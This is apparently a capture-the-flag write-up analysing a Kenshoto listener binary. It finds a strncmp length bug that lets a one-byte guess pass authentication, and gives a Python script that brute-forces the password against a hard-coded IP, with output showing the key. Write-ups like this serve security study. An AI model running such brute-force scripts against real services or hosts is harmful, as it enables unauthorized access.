This executable turns out not to be stripped, which makes it very easy to
find all the standard functions.  Notable error condition:
push    $LD0804950c    ; "ERROR: You *must* specify a pass/key file!\n"
lcall   printf@plt
Stuff that loads both the variables "password" and "key"
from the given file:
lcall   fgetln@plt
add     $0x10, %esp
movl    %eax, password
sub     $0x08, %esp
leal    -0xC(%ebp), %eax
push    %eax
pushl   -0x4(%ebp)
lcall   fgetln@plt
add     $0x10, %esp
movl    %eax, key
And we see the standard "init" call, the handler ("fehandler") pushed, and the "loop" starts:
push    $0x00001167
lcall   init
add     $0x10, %esp
movl    %eax, -0x8(%ebp)
sub     $0x08, %esp
push    $fehandler
pushl   -0x8(%ebp)
lcall   loop
This is the classic pattern for the Kenshoto listener service -- port
(4455 decimal) pushed to the init routine, and the handler pushed to the loop.
In the loop, we write out the prompt, and read input.  The "readUntil" function
appears to take as arguments a newline (0x0a), a size (0x1f), a buffer (%ebp-0x28), and the socket.  It returns the number of bytes read.  So we can send anything except newline, up to 0x1f long.
Based on the buffer size vs the size limit, unless readUntil does bad math,
there's no overflow here:
push    $0x0A
push    $0x1F
leal    -0x28(%ebp), %eax
push    %eax
pushl   0x8(%ebp)
lcall   readUntil
add     $0x10, %esp
movl    %eax, -0x2C(%ebp)
Next strncmp gets called, and if it returns zero, we get the key sent,
otherwise, we're rejected:
    leal    -0x28(%ebp), %eax
    sub     $0x04, %esp
    pushl   -0x2C(%ebp)
    pushl   password
    push    %eax
    lcall   strncmp@plt
    add     $0x10, %esp
    test    %eax, %eax
    jnz     LC08048c9a
    sub     $0x04, %esp
    push    $0x00
    pushl   key
    pushl   0x8(%ebp)
    lcall   sendMsg
LC08048c9a:
    ...
As args, strncmp takes the password read from the file and the string read
from the network, and compareithem looking for a match.  It also takes
a length -- but instead of taking the length of the password, it uses
the length of the 
input from the network.  As a result, we only
have to try 255 combinations of possible inputs, each 1 byte long.  (Not
256 because new line ends inputs.)
#!/usr/bin/env python
import sys
from socket import *
def brute(testchar):
    conn = socket(AF_INET,SOCK_STREAM)
    conn.connect(("209.195.0.124",4455))
    prompt = conn.recv(1024)
    if not 'Authenticate Bitches' in prompt:
        print prompt
        sys.exit(1)
    conn.sendall('%s\n' % (testchar))
    answer = conn.recv(1024)
    print ord(testchar), answer
for i in range(0,256):
    brute(chr(i))
This ran for a little bit and finally spat out:
...
190 
Catch you on the flip side...
191 KEY:See! Just like Windows 95!
192 
Catch you on the flip side...
...